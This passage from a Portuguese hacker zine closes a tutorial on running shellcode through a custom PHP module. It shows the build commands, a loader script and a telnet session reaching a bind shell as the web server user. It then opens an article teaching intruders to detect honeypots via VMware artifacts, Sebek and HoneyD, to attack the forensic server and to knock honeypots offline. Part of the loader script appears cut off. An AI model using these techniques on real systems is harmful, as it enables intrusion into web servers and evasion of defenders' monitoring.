"/tmp/php-5.0.0/ext/facedead". Primeiro, executamos o comando "phpize", já
dentro do diretório citado:
tds@matrix:/tmp/php-5.0.0/ext/facedead$ phpize
Configuring for:
PHP Api Version: 20031224
Zend Module Api No: 20040412
Zend Extension Api No: 220040412
Serão criados vários arquivos no diretório e mais alguns sub-diretórios.
Nenhuma mudança mais é necessária em nenhum dos arquivos que foram criados.
Após isso, temos somente que executar um "./configure" e um "make":
tds@matrix:/tmp/php-5.0.0/ext/facedead$ ./configure
checking build system type... i686-pc-linux-gnu
checking host system type... i686-pc-linux-gnu
checking for gcc... gcc
checking for C compiler default output... a.out
...
creating libtool
configure: creating ./config.status
config.status: creating config.h
tds@matrix:/tmp/php-5.0.0/ext/facedead$ make
/bin/sh /tmp/php-5.0.0/ext/facedead/libtool --mode=compile gcc
-I. -I/tmp/php-5.0.0/ext/facedead -DPHP_ATOM_INC
-I/tmp/php-5.0.0/ext/facedead/include
-I/tmp/php-5.0.0/ext/facedead/main
-I/tmp/php-5.0.0/ext/facedead
...
----------------------------------------------------------------------
Libraries have been installed in:
/tmp/php-5.0.0/ext/facedead/modules
...
See any operating system documentation about shared libraries for
more information, such as the ld(1) and ld.so(8) manual pages.
----------------------------------------------------------------------
Build complete.
(It is safe to ignore warnings about tempnam and tmpnam).
Após o make, o nosso módulo ja estará pronto, no diretório
"/tmp/php-5.0.0/ext/facedead/modules", com o nome "facedead.so":
tds@matrix:/tmp/php-5.0.0/ext/facedead$ ls -lh modules/facedead.so
-rwxr-xr-x 1 tds users 55K Jul 14 16:52 modules/facedead.so*
Podemos ainda diminuir o tamanho do módulo, usando o comando "strip":
tds@matrix:/tmp/php-5.0.0/ext/facedead$ whatis strip
strip (1) - Discard symbols from object files
tds@matrix:/tmp/php-5.0.0/ext/facedead$ strip -s modules/facedead.so
tds@matrix:/tmp/php-5.0.0/ext/facedead$ ls -lh modules/facedead.so
-rwxr-xr-x 1 tds users 4.5K Jul 14 17:06 modules/facedead.so*
Para os propósitos, ficou muito bom, doze vezes menor e funcionando da
mesma forma. O segundo dos dois ítens necessários para executar-mos shellcodes
utilizando PHP está pronto. Só nos falta testar.
____________________________
| [5] EXECUTANDO O SHELLCODE |
`============================
Agora que já podemos colocar o shellcode na memória, utilizando o script
"shellcode_up.php", e temos uma função, que executa este shellcode, localizada
em um módulo, só temos que fazer o seguinte:
- Executar o script "shellcode_up.php", para colocar o shellcode na
memória;
- Carregar o módulo que contém a nossa função de execução de shellcodes;
- Chamar a função e verificar se o shellcode foi executado;
Vamos fazer isso tudo em um segundo script em PHP:
---facedead.php---------------------------------------------------------------
';
/*
Carrega o modulo p
*/
dl ("facedead.so");
/*
Executa a funcao que ira executar o nosso shellcode
*/
exec_shellcode ();
?>
---fim de facedead.php--------------------------------------------------------
O que o script faz é colocar o shellcode na memória, carregar o módulo e
chamar a função que irá executar o nosso shellcode. Note que, obviamente, o
módulo (arquivo "facedead.so") deve estar no mesmo diretório do script em PHP
(arquivo "facedead.php"):
tds@matrix:/home/www/facedead$ ls -l
total 4500
-rw-r--r-- 1 tds users 1203 Jul 14 17:27 facedead.php
-rwxr-xr-x 1 tds users 4604 Jul 14 17:05 facedead.so*
-rw-r--r-- 1 tds users 1329 Jul 14 17:28 shellcode_up.php
Para executar o script, basta acessa-lo pelo seu endereço. Aqui ele está
em "http://127.0.0.1/facedead/facedead.php".
Após executa-lo, tentamos acessar o endereço, na porta 10001 via telnet:
tds@matrix:/home/www/facedead$ telnet 127.0.0.1 10001
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
uname -a;id;
Linux matrix 2.4.22 #6 Tue Sep 2 17:43:01 PDT 2003 i686 unknown
unknown GNU/Linux
uid=1006(apache) gid=103(apache) groups=103(apache)
: command not found
exit;
Connection closed by foreign host.
Como esperado, funcionou corretamente.
Após a execução do script, ele ficará em carregamento, como se estivesse
executando alguma tarefa. Ele normalmente só terminaria depois que alguém
conectar-se via telnet na porta que foi bindada e desconectar (após o "exit;"
ele foi finalizado). Uma coisa que pode ser feita, sem problemas, é interromper
a execução do script, alguns segundos depois de sua execução. Como a porta já
vai ter sido bindada, nada irá ocorrer e o acesso a shell ainda estará
disponível.
__________________________
| [6] AMPLIANDO HORIZONTES |
`==========================
Muito pode ser feito utilizando-se esta "técnica". Poderia expor diversos
exemplos aqui, mas perderia a graça de testar outras coisas e descobrir novas
possibilidades. Alguns shellcodes "não vão funcionar", a não ser que sejam
executado via linha de comando (na realidade funcionar ele vai, apenas não vai
ser exibido nenhum retorno no browser). Um exemplo seria:
---cat_motd.php---------------------------------------------------------------
---fim de cat_motd.php--------------------------------------------------------
Se executar-mos este script através do browser, nada será exibido nele.
Mas, caso seja executado via linha de comando teremos:
tds@matrix:/home/www/facedead$ php cat_motd.php
Shell code executado.Linux 2.4.22.
Vejamos o conteúdo do arquivo "/etc/motd":
tds@matrix:/home/www/facedead$ cat /etc/motd
Linux 2.4.22.
Perfeitamente funcional. A mensagem "Shell code executado" faz parte do
módulo, veja as seguintes linhas:
...
void (*shell)() = (void *)&shm;
zend_printf ("Shell code executado.");
shell ();
...
A mensagem pode ser retirada, está ai somente para propósitos de "debug".
__________________________________
| [7] CONSIDERAÇÕES FINAIS E LINKS |
`==================================
O conceito é bastante interessante (eu acho) e espero ter sido
compreensível nas idéias que expus (ou tentei). Caso tenha alguma dúvida sobre
o assunto, estou a disposição para trocar idéias e tentar esclarecer algo.
Apenas gostaria de deixar claro o seguinte:
1 - não sou programador, então não venha com críticas não construtivas
sobre a qualidade do meu código. Se ele pode ou não ser escrito em doze
linhas ao invés de cem, ótimo, deixo esta tarefa para quem sabe realmente
programar.
2 - A questão de estar utilizando partes de códigos de terceiros
(shellcodes apenas) não é por não saber fazer. Poderia aumentar o texto em
algumas centanas, milhares de linhas para uma breve explicação de como um
shellcode funciona. Mas fica a questão: Pra que reinventar a roda, se da
forma que está ela está funciona muito bem e preenche todos os requisitos
que são necessários? Prefiro indicar links para uma observação mais
detalhada.
Bons estudos.
http://tds.motdlabs.org/
http://www.motdlabs.org
http://cdm.frontthescene.com.br
http://www.frontthescene.com.br
/j #motd -> irc.freenode.net
http://guide.motdlabs.org/edicoes/guide02/shellsemsegredos.txt
Texto sobre shellcodes, partindo do básico e chegando ao intermediário/
avancado. Ao final do texto encontra-se diversos outros links, alguns
com textos mais básicos, outros com textos mais avançados e links para
exemplos de shellcodes prontos.
http://www.shellcode.com.ar/linux/lnx-shm_shell.c
Shellcode que executa shellcodes.
http://www.google.com.br
Tudo.
"Tudo da certo no fim, se não deu é porque ainda não chegou no fim"
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[05]-=[Detonando HoneyPots em Linux]-=|SkeyNet45|-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
##################################################################
######################### - MOTD LABS - ########################
##################################################################
Desenvolvido por SkyNet45 aka Rapadura_com_Farinha
Este texto faz parte integrante da Motd Guide N° 03 e pode ser obtido em:
http://www.motdlabs.org/
http://guide.motdlabs.org/
http://skynet45.motdlabs.org/
###############
Observacao ####
###############
Este documento visa expor algumas das falhas existentes no uso de ferramentas
muito comuns em redes coorporativas na atualidade, os honeypots. Nao tenho por
objetivo expor nenhuma falha ou vulnerabilidade nova, apenas expor mais
claramente metodos pre-existentes, e tambem algumas 'gambiarras' que sao uteis
na hora de passarmos por um honeypot. Se voce procura algo novo ou que possa
chamar muito a atencao, infelizmente voce estah procurando no lugar errado, SK,
defacers, e banda podre nao sao bem vindos na leitura desse texto. Qualquer
duvida ou contradicao favor contatar.
O DESENVOLVEDOR DESSE MATERIAL NAO SE RESPONSABLIZA POR QUALQUER DANO CAUSADO
PELAS INFORMACOES CONTIDAS AQUI.
-----------------------------------# TOPICOS #---------------------------------
1 – Conceito de Honeypots
2 – O que eh um Honeypot?
2.1 – Exemplo de Honeypot.
3 – Honeynets
3.1 - O que eh uma Honeynet?
3.2 - Onde funcionam.
3.3 - Como funcionam.
3.4 - Exemplo de uma Honeynet.
4 – Tipos e Honeypots
4.1 – Alta Interatividade
4.1.1. - O que sao?
4.1.2. - O que possuem?
4.1.3. - Onde funcionam?
4.1.4. - Exemplo de Honeypots de Alta Interatividade.
4.2 – Baixa Interatividade
4.2.1. - O que sao?
4.2.2. - O que possuem?
4.2.3. - Onde funcionam?
4.2.4. - Exemplo de Honeypots de Baixa Interatividade.
5 – Tipo de Atacantes
5.1 – Atacantes Experientes
5.2 - NewBies, ScriptKiddies e afins.
5.3 - Atacantes X Conceito.
6 – VMWARE
6.1 – Deteccao
6.1.1. - 4tphi – vmchk.c (code)
6.1.2. - ifconfig
6.1.3. - Ksyms | grep vm
7 – Sebek
7.1 - Funcionamento do Sebek.
7.2 - Metados para deteccao do Sebek.
7.2.1. - chkrootkit (*).
7.2.2. - Modulos no boot X lsmod.
8 – HoneyD
8.1 - Caracteristicasdo HoneyD.
8.2 - Deteccao.
8.2.1. - ps ax
8.2.2. - /dev /mem
9 – Causas do uso de um Honeypot.
9.1 - DMZ.
9.2 - Altos Gastos.
10 – Perigos
10.1 - Comprometimento.
10.2 - Ataques Ddos.
10.3 - Fornecimento de recursos.
11 – Aspectos Juridicos
11.1 - Constituicoes fora do Brasil.
11.2 - Comparacao ao Grampo Telefonico.
11.3 - Logs Contraversivos.
11.4 - Inducao ao ataque.
11.5 - Ataques futuros ao Honeypot.
11.6 - Brasil – Pt- Br.
12 – Serah que tem jeito?
12.1 - Eh possivel melhorar?
12.2 - Sem honeypot....nao sem seguranca!!!
***************************
1 – Conceito de Honeypots *
***************************
Sao ferramentas criadas para se apoderar do conhecimento dos atacantes que
querem comprometer a rede em questao. Estes programas desenvolvem um papel de
agentes nos quais captam logs, comandos e ferramentas utilizadas durante o
ataque, e guardao estas informacoes para futura analise pelo administrador do
honeypot ou por todas a comunidade de seguranca. O conceito mais difundido eh
que as ferramentas que constituem os honeypots podem demonstrar claramente aos
administradores de redes as tecnicas mais recentes utilizadas pelos hackers e
com isso eles podem se proteger melhor e ateh desenvolver anti-tecnicas ou
protecoes mais eficientes para coibir a acao dos fucadores.
Essas ferramentas sao apenas programas que emulam variados sistemas, servicos, e
vulnerabilidades existentes. Elas mostram para o atacante uma realidade
falsa, um sistema que pode interagir com comandos e repostas, mas ateh certo
ponto. Existe uma facilidade muito grande em se invadir um honeypot pois o mesmo
jah eh criado para ser invadido, dependendo da sua caracteristica o honeypot
irah reagir de maneiras diferentes as tecnicas aplicadas pelo invasor do
sistema. Algumas vezes o atacante pode facilitar a captacao de seus dados e das
tecnicas aplicadas na invasao feita alih, isso no caso de um atacante sem
experiencia.
**************************
2 – O que eh um Honeypot?*
**************************
Um honeypot nao eh nada mais do que uma maquina preparada de ante-mao para
emular servicos e sistemas falsos ou reais, para atrair a acao de hackers a
estes sistemas. Esta maquina preparada para ser um honeypot eh sempre munida das
ferramentas necessarias para: atrair, captar, e avisar sobre a invasao que
o atacante fez.
Eh importante analisar logo de comeco as caracteristicas mais interessantes e
polemicas dos honeypots e ferramenta s relacionadas mais utilizados e comentados
hoje pela comunidade.
Teremos entre eles:
---> • HoneyD
---> • Sebek
*****************************
2.1 – Exemplo de um Honeypot*
*****************************
-------------------------------
| ------ HONEYD |
| | ==== | SMTP |
HONEYPOT ------>| | ==== | HTTP |
| ------ FTP |
| / **** \ |
| ------- |
| |
-------------------------------
**************
3 – Honeynets*
**************
Para tentar ludibriar da melhor forma os hackers os administradores de rede que
querem trazer a tao sonhada seguranca usam seus esforcos em busca de uma solucao
mais sutil e poderesa, daih talvez tenha surgido a ideia de se criar as honeynet
s. A caracterizacao de uma honeynet eh feita quando encontramos varios honeypot
s juntos numa rede, rede essa que pode muitas vezes ter seus proprios servicos,
caracterizando um dos tipos de honeypot, ou com servicos e maquinas emulados
apenas por uma maquina na qual eh chamada de hospedeira.
*****************************
3.5 - O que eh uma Honeynet?*
*****************************
Honeynets muitas vezes sao redes complexas com roteadores e sistemas
operacionais variados e dos mais qualificados tipos. Talvez para um atacante sem
experiencia nao se perceba logo de cara que essa rede nao eh totalmente
funcional como uma rede real. Os construtores das ferramentas de honeypot s jah
ha muito tempo vem buscando melhorar a performace e tambem a qualidade de suas
solucoes no que diz respeito aos honeypot s, muitos jah trazem opcoes bem
interessantes com relacao a funcionalidade das redes tcp/ip, como: MAC das
placas de redes emulados, roteadores emulados e com interface, tempo de Uptime
setado na configuracao e etc.
Tais caracteristicas podem realmente aumentar a funcionalidade dessa rede, isso
aos olhos de um novato, mas hackers podem perceber isso com uma grande
facilidade.
**********************
3.6 - Onde funcionam.*
**********************
Como jah citado uma honeynet eh um conjunto de honeypots, ou seja uma rede
previamente preparada para captar toda a acao dos atacantes em seus hosts. Em
muitos casos as empresas estao dispos tas a pagar o preco mecessario para se ter
seguranca, isso pode ser refletido nos altos gastos que a implementacao de uma
honeynet pode trazer.
Exemplos nos mostram que se tivermos apenas maquinas reais dentro de uma
honeynet, se seus hosts forem realmente maquinas fisicamente presentes e sem a
emulacao de nenhum servico ou vulnerabilidade falsa, trara um altissimo custo
com implement acao, manutencao, monitoramento, link e etc, custo esse que nao
trara beneficio real para a seguranca da rede com veremos mais a seguir.
Por outro lado, talvez procurando baratear as coisas existem ferramentas que
fazem tudo isso por si soh, elas trasformam um maquina modes ta em uma rede com
maquinas e roteadores, e ainda de brinde as vulnerabilidades nesses sistemas
criados pela ferramenta. Um caso bem conhecido eh a questao da VMWARE ou maquina
virtual como desejar chamar, esta real solucao cria maquinas virtuais na maquina
hospedeira e tem-se a possibilidade de instalar novos sistemas dentro das
maquinas criadas pela VMWARE.
**********************
3.7 - Como funcionam.*
**********************
As honeynets por serem redes comuns como as outras tem o seu funcionamento
muitissimo parecido com um rede coorporativa, talvez o administrador da rede
julgando - se experto tente fazer da melhor maneira uma configuracao que ira
facilitar a captura do trafego malicioso que circula alih. Sempre que uma
empresa ou profissional resolver implement ar uma honeynet eh bom lembrar que
ela muitas vezes pode se tornar um segmento da rede coorporativa e de trabalho
da empresa, sendo assim o funcionamento confiavel da empresa pode ser SIM
comprometido por um hacker.
*******************************
3.8 - Exemplo de uma Honeynet.*
*******************************
Vou deixar apenas o link para uma imagem, sorry!
Fazer uma rede em ascii nao rola!
http://www.skynet45.motdlabs.org/honeys/honeynet_screen.jpg
***********************
4 – Tipos de Honeypots*
***********************
As ferramentas de honeypots tem uma classificao bem interessante, no nosso caso
iremos simplificar as coisas e separar a classificacao em apenas 2 tipos. Para
distinguirmos de qual classificacao o honeypot em questao eh, se torna
importante a total atencao a algumas caracteristicas imprecindiveis que podem
ser claras em alguns honeypot e honeynets.
**************************
4.2 – Alta Interatividade*
**************************
A relacao entre a maquina e o atacante vai ser muito importante para a distincao
dos tipos, tambem por conhercer o servico em questao vai ajudar bastante.
Honeypots de Alta Interatividade podem ser caracterizados por nao apresentarem
nenhum ferramenta que emule ou crie maquinas falsas ou que faca o sistema
parecer vulneravel.
Talvez alguns pesem entao: mas serah que eh soh conectar uma maquina na internet
com um sistema bugado que eu vou ter meu honeypot? Claro que nao, honeypot s de
alta interatividade tem instalados em si algumas ferramentas sim, muitos deles
sao muito bem configurados para captar todas as informacoes que o administ rador
julguem ser necessarias para um futuro estudo das tecnicas e ferramentas
empregadas no ataque.
********************
4.2.1. - O que sao?*
********************
Esta classificacao talvez exista por que os criadores e desenvolvedores das
ferramentas de honeypot perceberam que nao adiantava soh tentar enganar os
fucadores com servicos e solucoes falsas, talvez tenha - se percebido que em
alguns minutos um hacker pode distingui se o host em questao eh ou nao uma
maquina com servicos reais.
Honeypots de Alta Interatividade sao bem mais dificeis de se detectar, visto
eles na maioria das vezes soh possuirem ferramentas para captacao de logs. Uma
maquina equipada com o Sebek por exemplo jah se torna um honeypot de Alta
Interatividade, sendo que esta possue um ProFTPd vulneravel a ataques de upload
de arquivos em modo ASCII.
************************
4.2.2. - O que possuem?*
************************
As maquinas que sao honeypots de Alta Ineratividade tem sempre recursos
proprios, nao sao emuladas por nenhuma ferramenta. Eh sempre caracteristico a
presenca de ferramentas que captam o trafego e guardam logs para analise futura
ou instatanea, sempre trazem firewalls configurados para nao permitir ao
atacante muitos opcoes de saida. Eh interessant e que por posuirem seus proprios
sistemas operacionais e programas reais eh muito mais facil o seu
comprometimento, ao contrario do caso da deteccao que eh mais dificil.
Eh mais que util salientar que honeynets com honeypot s de Alta Interatividade
na maioria das vezes possuem um Servidor Forense guardar com seguranca os Dados,
ou informacoes, capturadas durante o ataque ou tentativa do ataque. Lembrando
que surgem varias ideias em torno do comprometimento deste Servidor Forense, na
maioria das vezes eles possuem bases de dados, ou banco de dados mesmo, tais
como: postgresql e mysql, sendo assim a contra - partida pode-se tentar um
comprometimento via vulnerabilidades nesses Banco de Dados ou talvez uma mudanca
de rotas no centralizador das maquinas(Swicth).
******************************************************
4.2.4. - Exemplo de Honeypots de Alta Interatividade.*
******************************************************
http://www.skynet45.motdlabs.org/honeys/honeynet_high.jpg
*************************
4.3 Baixa Interatividade*
*************************
Este tipo de honeypot eh bem interes sante, em muitos casos sua deteccao eh
simples, apenas com alguns comandos, com algumas passadas de olhos e um bom
senso de percepcao podemos perceber a sua presenca no nosso alvo. Nesse caso eh
importante lembrar que esse tipo de honeypot (Baixa Interatividade) sao
ferramentas e que estas sempre deixam rastros e na maioria das vezes tem falhas.
********************
4.3.1. - O que sao?*
********************
Sao programas que ao serem instalados na maquina hospedeira podem criar uma gama
de sistemas operacionais e vulnerabilidades que irao atrair fucadores a estas
maquinas. Estas ferramentas podem criar redes com quantas maquinas forem
necessarias, e inserir dentro delas , via configuracao, o tipo de servico que
necessitar.
Exemplo: honeyd.conf
create linux set linux personality "Linux 2.4.16 - 2.4.18" set linux default tcp
action reset set linux default udp action reset add linux tcp port 110 "sh
scripts/pop/emulate-pop3.sh" set linux subsystem "/usr/sbin/httpd" add linux tcp
port 21 "sh scripts/ftp.sh" set linux uptime 3284460 bind 192.168.1.202 linux
************************
4.3.2. - O que possuem?*
************************
As ferramentas que sao de Baixa Interatividade oferecem uma certa comodida na
hora da escolha dos sistemas e dos servicos contidos nos host s. Pode- se ter a
total comodida de ser colocar um IIS pra rodar dentro de um OpenBSD (engracado),
isso nao traz favoretismo nenhum para a seguranca. Hacker irao peceber em curto
periodo que as configuracoes feitas alih sao pra ludibria-lo durante um certo
tempo, configuracoes muito mistas, e meio atrapalhadas facilitam a deteccao dos
honeypots de Baixa Interatividade.
*************************
4.3.3. - Onde funcionam?*
*************************
Estes sempre sao instalados em maquinas hospedeiras, sao compilados e iniciados
pela interface do usuario e sempre usam recursos nao proprios. Por as maquinas
criadas pelo HoneyD por exemplo usarem recursos da maquina hospedeira esta
fornecerah sempre indicios e rastros sobre a ferramenta como veremos mais a
frente.
Exemplo de Baixa Interatividade: HoneyD
*******************************************************
4.3.4. - Exemplo de Honeypots de Baixa Interatividade.*
*******************************************************
http://www.skynet45.motdlabs.org/honeys/honeynet_low.jpg
**********************
5 – Tipo de Atacantes*
**********************
Eh importante sempre lembrarmos que o conceito do honeypot eh bem seguro eh
muito difundido entre os meios que o usam para aumentar a seguranca de suas
redes, tal conceito afirma que com a implement acao dos honeypot s toda a
comunidade de seguranca poderah aprender a se defender melhor dos hacker e
poderah tornar publica solucoes para os novos tipos de ataques e novas tecnicas
usadas pelos hacker mundo a fora. Entao eh muito importante da nossa parte
analisarmos que tipo de atacante um honeypot pode atrair, quais as falhas que
esse conceito apresenta para toda a comunidade em geral.
****************************
5.4 – Atacantes Experientes*
****************************
Todos sabemos que hacker nao eh aquela figura prefigurada pela midia nos nossos
dias, isso eh uma questao esgotada, mais os presentes sabem que hacker tem seus
objetivos, e quais seriam os objetivos de um hacker? Pertinente a essa questao
eh valido lembrar que Hackers sabem sempre qual eh o seu objetivo em
determinadas maquinas ou redes. Um hacker nao invadiria uma rede por prazer ou
por querer se divertir, ao estudar as possibilidades de se invadir uma rede eh
bem analisado que tipo de informacoes ele busca naquele alvo, que tipo de dados
o interessa. Se um hacker consegue acesso a uma maquina e percebe que alih nao
tem nada que ele quer, eh simples ele apenas nao quer essa maquina, ele parte
para outra ateh atingir seu objetivo ou conseguir o que ele queria.
Serah que um honeypot tem algo que atraia hackers? Eh bem claro que nao.
Honeypots possuem apenas falhas conhecidas e muitas vezes nem conteudo
aprensentao, sendo assim a pratica do hacking nesses eh totalmente futil. Nao
desconsideramos a possibilidade de um hacker cair dentro de um honeypot uma vez
que ninguem eh perfeito, mais tais possibilidades sao vagas, e alem disso
hackers ao perceberem que estao dentro de um honeypot podem causar um baita
estrago no mesmo, a experiencia com varios sistemas e com os protocolos em
questao irao demoNstrar ao hacker que o sistema onde ele estah nao eh totalmente
funcional como um real, isso no caso dos honeypots de Baixa Interatividade, no
caso dos de Alta Interatividade iremos analisar algumas questoes pertinentes a
deteccao das ferramentas utilizadas nos mesmos. Muitas vezes por questao de
gosto talvez, o hacker pode tirar o honeypot de circulacao por causar um ataque
DOS no honeypot no qual as vezes o faca perde tempo.
**************************************
5.5 - NewBies, ScriptKiddies e afins.*
**************************************
Todos sabemos que assim que entramos para o mundo da informatica e da tecnologia
em geral comecamos a ver um novo universo em nossa frente, muitas vezes o
conhecimento e ansia do aprendizado sao coisas vividas para uma pessoa que estah
desenvolvendo seus conhecimentos e cada dia busca uma maneira de por em pratica
o que jah aprendeu. Quando percebemos que ser hacker nao eh soh ficar em
localhos t talvez tenhamos um enorme desejo de partir para investidas externas,
muitas vezes sem proposito algum somente para testar tudo aquilo que jah
cansamos de ler e de estudar, talvez por tentarem seguir o velho ditado: “A
pratica leva a perfeicao”. Quero deixar bem claro que NewBies muitas vezes nao
tem intencoes de prejudicar ninguem, estes porem talvez realmente tenham uma
vontade muito grande de conhecer o vasto universo recem apresentado a eles. Jah
os ScriptKiddies sao pessoas como todos sabem que usam seu pouco conhecimento
para deturpar o real sentido do hacking e realmente acabam manchando a imagem da
palavra hacker, mas esse nao eh assunto para nos, sendo assim o ScriptKiddies
agem como se nao pensasem nem em que alvo estao tentado suas investidas e talvez
nao estejao concientes com respeito do transtorno causado pelos seus atos muitas
vezes de `pixacao ` feitos em sites mundo a fora.
Foi deveras inportant e analisarmos que tipo de pessoas sao os NewBies e os
ScriptKiddies, seus atos podem influenciar e muito na utilizacao e implementacao
dos honeypots como solucao de seguranca, devemos sempre ter em mente o conceito
principal dos honeypot s, lembrando que um NewBies, sem discriminacao, foge dos
paramet ros dos honeypot s. NewBies por serem pessoas novas e com ainda pouco
conhecimento ainda nao praticao o hacking em si (ao peh da letra), estes
costumam utilizar de ferramentas jah prontas e muitas vezes muitissimo
conhecidas dos administradores de rede e que talvez que jah apresentem solucoes
na comunidade, entao para que fim os administradores de redes irao querer
recolher informacoes sobre estes se os mesmo nao tem nada de inedito para most
rar para eles? Consideremos agora as questoes dos ScriptKiddies, estes as vezes
possuem um certo conhecimento adquirido ao longo de suas investidas inuteis, mas
sempre usam de metodos conhecidos e altamento comentados por muitos na
comunidade, estes tambem nao oferecem nada increvel para os administ radores de
redes que adotam os honeypots como ferramenta de seguranca para suas redes.
Chegamos a uma conclusao interes sante, pessoas com pouco conhecimento nao irao
beneficiar os amantes dos honeypots.
****************************
5.6 - Atacantes X Conceito.*
****************************
Bom, se torna mais do que interessante lembramos que o conceito do honeypots eh:
“aprender com quem sabe” (heheheheh), desculpe as risadas, mas realmente eles
estao certos, eles devem aprender com quem sabe, mas com NewBies e ScriptKiddies
eles nao irao aprender nada de novo, ou que possam aumentar a seguranca deles na
pratica. Este tipo de atacantes nao tem nada para oferecer a comunidade
especialmente os ScriptKiddies. Analises de logs de hosts que sao honeypots
demostram que eh muitissimo fraco o trafego nestes honeypots, trafego este que
soh recebem acessos em protocolos como: httpd e pop, lembrando que estes
protocolos sao os favoritos dos SK e dos defacers.
Um atacante, ou melhor um hacker possivelmente nunca irah demostrar para um
honeypot o que ele realmente sabe ateh por que ainda nao inventarao uma
ferramenta ou solucao para capturar malicia. Honeypots, IDS e afins soh captam
conteudo tecnico, nao conseguem desvendar o que se passa na cabeca de um hacker,
e enquanto eles nao fizerem isso nunca poderao criar solucoes eficientes para
seus casos.
***********
6 - VMWARE*
***********
Nos ultimos anos solucoes dos variads tipos surgiram no scenario da informatica,
uma delas que eh muito prezada ateh mesmo por mim eh a VMware, ou maquina
virtual como quiser chamar, seu uso facilita muito o estudo e a pratica de
muitas coisas que as vezes se tornam dificeis de entender soh no conceito, ou
somente em localhost. As VMware sao programas que criam maquinas virtuais dentro
de um sistema real, com ela eh possivel se ter um OpenBSD instalado na maquina,
rodando ao mesmo tempo com um Linux, a VMware eh instalada no Linux e daih cria
se uma maquina virtual com o OpenBSD instalado e podemos rodar as duas em
paralelo e criar uma rede entre elas para facilitar o estudo e possivelmente
para se emular redes de sistemas variados.
Com a alta difundicao das VMwares, elas foram adotadas como compendio para a
implementacao de honeypots, nao eh que um honeypot necessite de uma VMware para
funcionar mas sim que dentro de um VMware pode-se criar varios honeypots, tendo
assim uma honeyNET. Os altos gastos com a compra de Hardware para a
implementacao de honeyNETs abriu uma oportunidade paras as VMwares entrarem no
'jogo', com elas em possivel se ter em uma unica maquina 4,5,6 sistemas
diferentes sem precisar adquirir nenhum novo hardware, basta ter recursos
suficientes na maquina para isso. Daih podemos julgar as VMware como sendo um
primeiro passo para desconfiarmos que no nosso alvo roda um honeypot, ou uma
honeyNET. Com base em algumas analises vou tentar demonstrar algumas
caracteristicas 'basicas' dela e como podemos detectalas.
***************
6.1 - Deteccao*
***************
Vamos partir do principio que os honeypots sao feitos para ser invadidos, e
digamos que vc jah tenha acesso a maquina alvo, daih podemos separar os metodos
de deteccao em 2 categorias:
COMO USUARIO COMUM - Nessa opcao temos 2 possibilidades validas!
*********************************
6.1.1. - 4tphi - vmchk.c(code) *
*********************************
Ao fucar um pouco na internet e em muitos foruns, eu achei lah em um dos
foruns da insecure.org (www.insecure.org) uma pequena discussao sobre VMwares,
daih achei um codigo fonte feito em C muito pratico e que realmente eh uma
'mao na roda'. Esse programa chama-se VMCHK e eh tao pratico que alem de dizer
se realmente ali roda uma VMware, ele ainda diz a versao da VMware. Podemos
partir do presuposto que: se há uma VMware também há possibilidades de haver
um honeypot.
4tphi-vmchk.c --> Escrito por Andrew Hintz
*******************
6.1.2. - ifconfig *
*******************
Essa eh mais simples que batata cozida, mas tambem funciona e eh util em todos
os casos, novamente presumindo que vc tem acesso a maquina alvo...: Sabemos
que cada placa de rede alem de seu numero IP, elas tambem tem seu MAC adress
ou endereco fisico, cada placa de rede segundo o conceito, cada placa de rede
tem seu MAC diferente das outras placas, ou seja, segundo o conceito eh
impossivel acharmos uma placa de rede com MAC igual a de outra. Bom, vejamos o
seguinde, se voce jah usou alguma vez uma VMware vc percebeu que alem dela
criar maquinas virtuais, ela tambem cria outras interfaces de rede (placa de
rede) tanto no Linux quanto no Windows, daih se notarmos ao criar essas placas
de rede virtuais a VMware dota elas de seus respectivos MAC adress, mas o
interessante eh que ela sempre cria MAC adress MUITO parecidos como:
------------------------------
eth0 - 00:F0:29:F5:00:1F:CF:A9
eth1 - 00:F0:29:F5:00:1F:CF:AA
eth2 - 00:F0:29:F5:00:1F:CF:AB
eth4 - 00:F0:29:F5:00:1F:CF:AC
-------------------------------
Ateh minha mae perceberia que esses HEXs (numero MAC), sao MUITO parecidos
mudando apenas o ultimo numero, isso acontece sempre que uma VMware eh
instalada em um sistema Linux e Windows. Aih jah eh outro quisito
possitivo para sabermos que há possibilidades de o sistema rodar dentro de
um VMware ou ateh de ser nosso amado honeypot ;) Para saber o MAC adress
das placas de redes instaladas usa se um comando simples e nativo do Linux, o
/sbin/ifconfig , no qual este lista todas as interfaces de rede com seus IPs e
MACs.
**************************
6.1.3. - Ksyms | grep vm *
**************************
Esse metodo eh bem simples, assim como os outros, mas eh de grande ajuda, o
comando 'ksyms' mostra os simbolos exportados pelo kernel, ou seja nos mostra
nomes relacionados ao modulos carregados no Kernel do Linux, juntamente com o
comando 'grep vm' iremos procurar por simbolos no Kernel com a string 'vm' (ou
VM), faremos isso por que uma maquina virtual (vmware) carrega modulos no Kernel
com essa string, por
exemplo:
root@rapadura:/home/rapadura# ksyms | grep VM
c7a30060 VMX86_RegisterMonitor [vmmon]
Com isso fica bem claro que estamos numa vmware, esse metodo eh
consideravelmente simples, mas eh com coisas simples que chegamos onde queremos,
podemos mudar um pouco o exemplo, com o comando 'dmesg'podemos ver quase tudo que
foi carregado durante a inicilizacao da maquina, coloque assim:
root@rapadura:/home/rapadura# dmesg | grep VM
hda: VMware Virtual IDE Hard Drive, ATA DISK drive
hdc: VMware Virtual IDE CDROM Drive, ATAPI CD/DVD-ROM drive
Notamos que juntamente com a inicilazicao da maquina, foram criados dispositivos
virtuais, no nosso caso, uma unidade de cdrom e um hd. Com isso jah temos mais
cartas na manga, jah eh mais motivos para desconfiarmos que estamos num
honeypot, outra dica, quando voce se deparar com uma VMware provavelmente na
maioria das vezes ela eh um honeypot de Alta Interatividade, assim pode-se
explorar a maquina por completo, estou dizendo para voces poderem pensar em
maneiras de se explorar falhas na VMware, nao no
honeypot, isso seria interessante. ;)
***********
7 - Sebek *
***********
Ferramentas para a composicao de uma maquina honeypot sao muitas, mas essa
concerteza chama muito atencao por ser de grande ajuda na captacao de logs. O
Sebek eh originalmente desenvolvido com o intuito de guardar os logs procedentes
de todos os servico da maquina, há possibilidades de se manter o log apenas para
consulta 'ao vivo' ou guarda-lo em um banco de dados estilo mysql, com esses
